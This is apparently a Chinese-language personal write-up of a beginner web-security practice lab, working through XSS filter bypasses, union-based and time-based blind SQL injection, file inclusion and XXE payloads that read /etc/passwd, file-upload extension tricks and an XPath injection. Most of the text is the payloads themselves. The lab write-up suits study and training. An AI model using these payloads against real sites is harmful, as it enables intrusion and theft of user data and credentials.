这个靶场很基础,就是一个认识一下漏洞长啥模样,如何利用.入门挺好的吧…感觉这些我都会做.可我还是个菜鸡啊!:(

xss

example 1

1
<Script>alert()</Script>

无任何防护

example 2

1
<Script>alert()</Script>

大小写绕过

example 3

1
name=<scri<script>pt>alert()</scri</script>pt>

双写绕过.这里被坑了一下

example 4

1
<img src = 1 onerror=alert()>

script标签被过滤了..无法绕过.发现img,a,等标签可以使用

example 5

1
<imgsrc="1"%20onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,98,39,41)>

竟然把alert给过滤了?难道我非要弹窗吗???? confim可以代替alert函数弹窗..

但是比较推荐这个payload.如果实战中关键的函数被过滤了,就可以用这种转码的方式绕过.

Example 6

1
"</script><img%20src="1"%20onerror=alert()>

查看源代码

前面闭合双引号和标签.其实也是抱着试一试的心态,js代码不是很懂

example 7

1
%27;alert()//   <>

都被HTML实体化编码了,尝试用单引号闭合成功,但是没弹窗,发现多了个引号

于是构造注释成..

example 8

在URL里构造

1
/"><script>alert(1)</script><form%20action="

不太懂为什么这样闭合. 先放着.

Example 9

URL加上

1
#<script>alert(‘1‘)</script>

问题是出在这句上.

1
document.write(location.hash.substring(1));

Sqli

example 2

1
2
3
4
5
%09and%091=1%23

(sleep(ascii(mid(user()from(2)for(1)))=109))

1%27/**/union/**/select/**/1,group_concat(name,0xa0,passwd),3,4,5/**/from/**/users%23

空格被过滤 利用注释代替空格

example 3

在服务器里查看了一下两题的源码差别

1
\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
1
1%27/**/union/**/select/**/1,group_concat(name,0xa0,passwd),3,4,5/**/from/**/users%23

所以只能用这种payload

example 4

数字型注入

1
id=2%20union%20select%201,2,3,4,5

没啥说的

网上的题解是说对单引号进行过滤了,但是却是一个数字型的注入,所以过滤毫无意义,虚拟机分辨率不知道什么情况,不能显示完整的代码.就不贴了,郁闷:(

example 5

看不出和第四关有什么差别…(没有查看源码…还是数字型注入.用第四关的payload就行了.. 有点无语

1
%20union%20select%201,name,passwd,4,5%20from%20users

example 6

这里还是有点小坑的.. 竟然查了一下题解,竟然是判断最后一位字符是不是数字…这是啥防御??

1
%20union%20select%201,name,passwd,4,5%20from%20users%20%23%201

那就在末尾加上一个数字呗..为了保证语法正确,加上%23注释掉了这个多余的1

example 7

又是一个正则.

1
2
3
正则 /m 是匹配换行符,也就是说它只判断换行符前的语句是否合法.

%0a 就是经过url编码的换行符

payload

1
%0aunion%20select%201,name,passwd,4,5%20from%20users

example 8

不会做的时候..还是选择看看源码吧..(= =我是看题解)

用xor进行语句的链接.

为什么不用or呢?

xor就是10,01这种情况都返回的是1,而00,11,这种情况都是0

即使第一项已经是1,仍然需要判断第二项是1,还是0.这样构造的语句就可以被执行

注意时间!!!!

or 呢,当前面一项已经是1的时候就不执行第二项的式子了

1
order=age`%20xor%20if(ascii(substring(user(),1,1))%3E111,sleep(5),0)%23

至于反引号也能理解.. 因为orderby后面拼接的是表名.所以可能用反引号来包裹.

不过.我还是看了源码里面拼接了反引号.而起用了mysql_real_escape_string()对特殊字符进行转义

example 9

没有了反引号..题解说是被过滤了.
前一项报错,后一项正确

1
order=1%20xor%20if(ascii(substring(user(),1,1))=112,sleep(5),0)%2

文件包含

example 1

直接读取到etc/password文件

payload

1
<http://xxxxx/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../../../../../../../etc/passwd>

example 2

用上一个payload回报错.发现文件名写死为.php了

那么! 就%00截断吧

1
http://xxxxx/fileincl/example2.php?page=php://filter/read=convert.base64-encode/resource=../../../../../../../etc/passwd%00

文件上传

第一关没啥好说,直接php文件就成功了

eaxmple 2

测试发现,他是判断末尾是否为php

于是利用php的别名 php3,pht等等就可以绕过

大小写也可以绕过

还有一种 构造成1.jpg.php. 注意最后有一个点!

抓包修改文件后缀

访问就可以执行php代码了

XML—XXE

example 1

payload

XXE原理以及利用方式之前写了一点点.https://zhhhy.github.io/2018/08/21/XXE/#more

1
<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY test SYSTEM "file:///etc/passwd">]><abc>&test;</abc>

要进行URL加密…可是hackbar加密出来的有问题…死活提交不对.拿到解码网站去就ok了;

1
%3c%3fxml+version%3d%221.0%22%3f%3e%3c!DOCTYPE+ANY+%5b%3c!ENTITY+test+SYSTEM+%22file%3a%2f%2f%2fetc%2fpasswd%22%3e%5d%3e%3cabc%3e%26test%3b%3c%2fabc%3e

exmaple 2

1
<http://192.168.43.217/xml/example2.php?name=hacker%20%27or%201=1]/parent::*/child::node()%00>

对xxe注入没什么研究